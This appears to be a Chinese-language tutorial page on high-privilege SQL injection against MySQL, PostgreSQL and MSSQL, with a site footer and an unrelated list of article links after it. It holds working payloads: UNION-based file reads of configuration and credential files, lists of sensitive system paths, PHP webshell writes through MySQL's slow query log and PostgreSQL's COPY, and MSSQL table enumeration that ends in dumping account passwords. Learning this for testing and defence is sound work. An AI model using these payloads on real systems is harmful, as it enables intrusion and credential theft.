WEB攻防-通用漏洞-SQL 读写注入-MYSQLMSSQLPostgreSQL

什么是高权限注入

高权限注入指的是攻击者通过SQL注入漏洞,利用具有高级权限的数据库账户(如MYSQL的root用户、MSSQL的sa用户、PostgreSQL的dba用户)执行恶意SQL语句。这些高级权限账户能够访问和修改数据库中的所有数据,甚至执行操作系统级别的命令。

数据库用户权限差异

在数据库中,用户分为普通用户和高级用户。普通用户通常只能访问和操作自己所属数据库的数据,而高级用户(如root、sa、dba)则拥有跨库查询、修改数据的权限,甚至能够执行系统命令。这种权限差异使得高权限注入比普通SQL注入更具威胁性。

Access无高权限注入点-只能猜解,还是暴力猜解 ,因为他是独立用户权限,独立的运行环境

MYSQL高权限注入

文件读写操作

MYSQL高权限注入主要通过构造恶意的SQL查询语句,利用root等高权限账户执行。攻击者可以使用LOAD_FILE()函数读取服务器上的文件,或者使用OUTFILE()DUMPFILE()函数写入文件。此外,还可以利用慢查询日志功能,将恶意代码写入日志文件,进而通过Web服务器访问执行。

注:在5.7以上版本默认禁用load_file等读写函数,需要在my.ini或my.cnf配置文件中的[mysqld]节点中添加secure_file_priv=""运行读取任何位置文件,或者secure_file_priv="E:/"指定某个位置

load_file 函数是MySQL中的一个内置函数,用于读取和返回指定文件的内容。它可以读取服务器上的任何文件包括文本文件、图片文件等。

OUTFILE()和DUMPFILE()用于查询的数据导出到文件中

用法:

        select …… into outfile

        select …… into dumpfile

outfile函数可以导出多行,而dumpfile只能导出一行数据,且超出会提示输出超过一行
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

当拥有读写文件权限,使用union注入进行读写

-读取文件:
UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

-路径获取:phpinfo,报错,字典等
读取关键文件,可以在搜索关键函数等
读取关键配置文件:http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

-常用路径:

WINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆 密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

-写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
数据库写文件:select 'xxx' into outfile 'd:/1.txt';

-无法写入:

因为secure_file_priv做了限制,可以通过慢日志突破。

慢查询日志,是MySQL提供的一种日志记录,用来记录在MySQL中响应时间超过阀值的语句。具体环境中,运行时间超过long_query_time值的SQL语句,则会被记录到慢查询日志中。long_query_time的默认值为10,意思是记录运行10秒以上的语句。

将后门代码注入到日志中,前提是注入中需要支持SQL执行环境,没有就需要借助,如phpmyadmin下SQL执行环境、mysql的shell等等

set global slow_query_log=1;  --开启慢日志记录
set global slow_query_log_file='shell路径';    --设置慢日志保存路径
select '<?php eval($_POST[A]);?>' or SLEEP(11);  --睡眠11秒使其超过阈值记录在日志
访问shell路径,连接后门。

PostgreSQL高权限注入

一般注入

PostgreSQL高权限注入通过利用dba等高权限账户执行恶意的SQL查询语句。攻击者可以使用系统函数如version()current_usercurrent_database()等获取数据库信息,使用COPY TOCOPY FROM等命令读写文件。

 

同样的使用order by测试当前查询到多少列,不一样的是需要使用null来作为占位符

并且逐个把null改为字符串'null'判断显示位,如

-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误

 -获取信息:

and 1=2 UNION SELECT null,version(),null,null   --获取版本信息
and 1=2 UNION SELECT null,current_user,null,null  --获取当前用户

 

and 1=2 union select null,current_database(),null,null  --获取当前数据库名

pg_database表是在一个集群里的所有数据库共享的: 每个集群只有一份pg_database拷贝,而不是每个数据库一份。其中datname字段保存所以可用数据库名

-获取所以数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database

string_agg是PostgreSQL中的一个聚合函数,用于将一组值连接为一个字符串。它接受两个参数:要连接的值和连接符。

 

pg_tables表提供了对有关数据库中每个表的有用信息地访问。

 schemaname字段保存表的模式Schema,每个数据库至少有一个名为public的模式,这是默认的模式,如果没有特别指定,创建的表、视图等对象就会放在这个模式中。

tablename字段保存表名

pg_stat_user_tables 用于显示用户定义的表的统计信息。 

relname字段保存表名

-通过以上两个表获取表名:
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

information_schema 中,包含了多个视图(views),这些视图提供了关于表、列、数据类型、约束、视图、触发器、例程(如存储过程和函数)等数据库对象的信息

  • TABLES:提供了数据库中所有表的信息,包括表名、架构名等。
  • COLUMNS:提供了表中所有列的信息,包括列名、数据类型、是否允许为空等。
  • SCHEMATA:提供了数据库中所有架构(schemas)的信息。

information_schema.columns 视图包含了以下一些关键的列(字段)

  • table_name:包含该列所在的表的名称。
  • column_name:列的名称。

-获取reg_users表的列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

 -获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

 文件读写操作

列出目录/权限

pg_ls_dir()列出文件夹的目录(在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径)

select pg_ls_dir('/etc'); 

-- 获取 pgsql 安装目录

pg_settings提供了对服务器运行时参数的访问。

name:运行时配置参数名

setting:参数的当前值

'data_directory':数据存放目录位置

'config_file':配置文件位置

select setting from pg_settings where name = 'data_directory'; 

-- 查找 pgsql 配置文件路径

select setting from pg_settings where name='config_file'

-- 查询是否位管理员权限

select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
读文件

方法一:直接读取

-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/etc/passwd');-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$)

方法二:建表拷贝读取

create table testf0x(t TEXT);
copy testf0x from '/etc/passwd';
select * from testf0x limit 1 offset 0;

 

方法3 lo_import

lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。

Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111

简单解释下这两天条语句

lo_import(路径,OID)

--Select lo_import('/etc/passwd',12345678);

就是将etc/passwd文件被导入到OID为12345678的大型对象中

--select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

pg_largeobject表中检索OID为12345678的大型对象的数据。pg_largeobject表存储了数据库中所有大型对象的数据,这些数据被分割成多个页面(pages),每个页面有唯一的pageno(页码)和相应的data(数据)。子查询选择了每个页面的数据和页码,并使用encode(data,'hex')将二进制数据转换为十六进制字符串。

array_agg是一个聚合函数,用于将多行数据聚合成一个数组。

写文件

-需要知道网站绝对路径

COPY 命令可以用于表和文件之间交换数据,这里可以用它写 webshell

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

 

MSSQL(SQL Server)高权限注入

一般注入

MSSQL高权限注入同样通过构造恶意的SQL查询语句,利用sa等高权限账户执行。攻击者可以使用系统函数如@@versiondb_name()等获取数据库信息,使用xp_cmdshell执行系统命令。此外,还可以利用堆叠查询(Stacked Queries)执行多条SQL语句。

操作相似

-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null

-获取信息:
@@version 获取版本信息

db_name() 当前数据库名字


user、system_user,current_user,user_name 获取当前用户名

@@SERVERNAME 获取服务器主机信息 

--前置知识:

        mssql中没有limit,这里使用top,

        top n #查询前n条记录;

        xtpye ='u' 这个是我们指定查询的条件,查询他自定义的表

        sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

        syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

        object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

        col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

--查询有几张表

?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null

--查询第一个表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

--查询第二个表名,直接指定查询条件为name 不等于manage 然后爆出他的第二张表  如果后面还需要查询的话也是同样的方式。
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

--获取有几个列名

?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null

--获取列名

?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null

?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null

?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null

--也可以通过syscolumns视图获取,不使用col_name

-- 查询manage表的第一个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null
-- 查询manage表的第二个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null
-- 查询manage表的第三个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null

--获取记录数

?id=1 and 1=2 union all select null,count(*),null,null from manage

--获取帐号密码

?id=1 and 1=2 union all select null,username,password,null from manage

这部分参考https://www.cnblogs.com/02SWD/p/15830219.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/385146.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot中使用knife4j访问接口文档的一系列问题

springboot中使用knife4j访问接口文档的一系列问题 1.个人介绍 &#x1f389;&#x1f389;&#x1f389;欢迎来到我的博客,我是一名自学了2年半前端的大一学生,熟悉的技术是JavaScript与Vue.目前正在往全栈方向前进, 如果我的博客给您带来了帮助欢迎您关注我,我将会持续不断的…

用Java手写jvm之实现查找class

写在前面 完成类加载器加载class的三阶段&#xff0c;加载&#xff0c;解析&#xff0c;初始化中的加载&#x1f600;&#x1f600;&#x1f600; 源码 。 jvm想要运行class&#xff0c;是根据类全限定名称来从特定的位置基于类加载器来查找的&#xff0c;分别如下&#xff1a;…

解决R语言找不到系统库导致的报错

1、基本需知 1.1、系统库 系统库&#xff08;System library&#xff09;是一组预先编写和编译好的软件模块集合&#xff0c;用于支持操作系统的基本功能和提供一些常见的服务。这些库通常由操作系统或第三方开发者提供&#xff0c;并且在系统安装过程中被预装或者用户可以额…

崖山异构数据库迁移利器YMP初体验-Oracle迁移YashanDB

前言 首届YashanDB「迁移体验官」开放后&#xff0c;陆续收到「体验官」们的投稿&#xff0c;小崖在此把优秀的投稿文章分享给大家~今天分享的用户文章是《崖山异构数据库迁移利器YMP初体验-Oracle迁移YashanDB》&#xff08;作者&#xff1a;小草&#xff09;&#xff0c;满满…

【vue前端项目实战案例】之Vue仿饿了么App

本文将介绍一款仿“饿了么”商家页面的App。该案例是基于 Vue2.0 Vue Router webpack ES6 等技术栈实现的一款外卖类App&#xff0c;适合初学者进行学习。 项目源码下载链接在文章末尾 1 项目概述 该项目是一款仿“饿了么”商家页面的外卖类App&#xff0c;主要有以下功能…

51单片机嵌入式开发:17、STC89C52的嵌入式 遥控器 控制步进电机 转速 和 转向 操作并 printf打印信息

51单片机嵌入式开发 STC89C52的嵌入式 遥控器 控制步进电机 转速 和 转向 操作并 printf打印信息 51单片机嵌入式开发STC89C52的嵌入式 遥控器 控制步进电机 转速 和 转向 操作并 printf打印信息1 概述2 硬件电路2.1 遥控器2.2 红外接收器电路2.3 STC89C52单片机电路2.4 数码管…

SpringBoot集成Sharding-JDBC实现分库分表

本文已收录于专栏 《中间件合集》 目录 版本介绍背景介绍拆分方式集成并测试1.引入依赖2.创建库和表3.pom文件配置4.编写测试类Entity层Mapper接口MapperXML文件测试类 5.运行结果 自定义分片规则定义分片类编写pom文件 总结提升 版本介绍 SpringBoot的版本是&#xff1a; 2.3.…

IDEA Maven使用HTTP代理,解决Could not transfer artifact org.xxx问题

文章目录 一、前言二、遇到问题三、分析问题四、HTTP代理五、重新编译验证 一、前言 遇到这个问题&#xff0c;有两种解决办法 IDEA Maven使用HTTP代理&#xff0c;解决Could not transfer artifact org.xxx问题IDEA Maven使用国内镜像&#xff0c;解决Could not transfer arti…

C语言分支语句之if的一些用法

目录 引言C语言结构 1. if 语句1.1 if1.2 else 2. 分支中包含多条语句3. 多重选择 else if4. 嵌套if5. 悬空else / else与if配对问题 引言 C语言作为一种非常常用的编程语言&#xff0c;具有灵活强大的循环和分支结构。循环结构允许我们重复执行一段代码&#xff0c;而分支结构…

【网络爬虫技术】(1·绪论)

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;网络爬虫开发技术入门_十二月的猫的博客-CSDN博客 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 …

本地部署Graphhopper路径规划服务(graphhopper.sh启动版)

文章目录 文章参考源码获取一、配置Java环境变量二、配置Maven环境变量三、构建graphhopper步骤1. 下载数据2. 配置graphhopper配置文件config-example.yml3. 在项目中启动命令行执行./graphhopper.sh build3.1|、遇到的问题3.1.1、pom.xml中front-maven-plugin-无法下载npm6.1…

跨境电商独立站:Shopify/Wordpress/店匠选哪个?

在面对不断增加的平台运营压力时&#xff0c;不少跨境电商的商家逐渐将注意力转向建立自己的独立站。据《中国跨境出口电商发展报告&#xff08;2022&#xff09;》所示&#xff0c;中国拥有的独立站数量在2022年已接近20万个&#xff0c;这表明独立站已成为卖家拓展海外市场的…

昇思25天学习打卡营第11天|xiaoyushao

今天分享ResNet50迁移学习。 在实际应用场景中&#xff0c;由于训练数据集不足&#xff0c;所以很少有人会从头开始训练整个网络。普遍的做法是&#xff0c;在一个非常大的基础数据集上训练得到一个预训练模型&#xff0c;然后使用该模型来初始化网络的权重参数或作为固定特征提…

苦学Opencv的第十一天:图像的形态学操作

Python OpenCV从入门到精通学习日记&#xff1a;图像的形态学操作 前言 图像形态学是图像处理中的一个重要分支&#xff0c;主要关注图像中物体的形状和结构。通过形态学操作&#xff0c;我们可以对图像进行有效的分析和处理&#xff0c;例如图像的腐蚀与膨胀、开运算与闭运算…

大模型学习笔记十四:Agent模型微调

文章目录 一、大模型需要Agent技术的原因二、Prompt Engineering可以实现Agent吗&#xff1f;&#xff08;1&#xff09;ReAct原理展示和代码&#xff08;2&#xff09;ModelScope&#xff08;3&#xff09;AutoGPT&#xff08;4&#xff09;ToolLLaMA 三、既然AutoGPT可以满足…

利用OSMnx求路网最短路径并可视化(二)

书接上回&#xff0c;为了增加多路径的可视化效果和坐标匹配最近点来实现最短路可视化&#xff0c;我们使用图形化工具matplotlib结合OSMnx的绘图功能来展示整个路网图&#xff0c;并特别高亮显示计算出的最短路径。 多起终点最短路路径并计算距离和时间 完整代码#运行环境 P…

C++——QT:保姆级教程,从下载到安装到用QT写出第一个程序

登录官网&#xff0c;在官网选择合适的qt版本进行下载 这里选择5.12.9版本 点击exe文件下载&#xff0c;因为服务器在国外&#xff0c;国内不支持&#xff0c;所以可以从我的网盘下载 链接: https://pan.baidu.com/s/1XMILFS1uHTenH3mH_VlPLw 提取码: 1567 --来自百度网盘超级…

Linux--网络基础

目录 1.计算机网络背景 2. 初识协议 2.1概念 2.2 协议分层 2.3OSI 七层模型 2.4TCP/IP 五层(或四层)模型 3.再识协议 3.1为什么要有 TCP/IP 协议&#xff1f; 3.2什么是 TCP/IP 协议&#xff1f; 3.3TCP/IP 协议与操作系统的关系(宏观上&#xff0c; 怎么实现的) 3.…

一键解锁:科研服务器性能匹配秘籍,选择性能精准匹配科研任务和计算需求的服务器

一键解锁&#xff1a;科研服务器性能匹配秘籍 HPC科研工作站服务器集群细分领域迷途小书童 专注于HPC科研服务器细分领域kyfwq001 &#x1f3af;在当今科技飞速发展的时代&#xff0c;科研工作对计算资源的需求日益增长&#x1f61c;。选择性能精准匹配科研任务和计算需求的服…

HarmonyOS和OpenHarmony区别联系

前言 相信我们在刚开始接触鸿蒙开发的时候经常看到HarmonyOS和OpenHarmony频繁的出现在文章和文档之中&#xff0c;那么这两个名词分别是什么意思&#xff0c;他们之间又有什么联系呢&#xff1f;本文将通过现有的文章和网站内容并与Google的AOSP和Android做对比&#xff0c;带…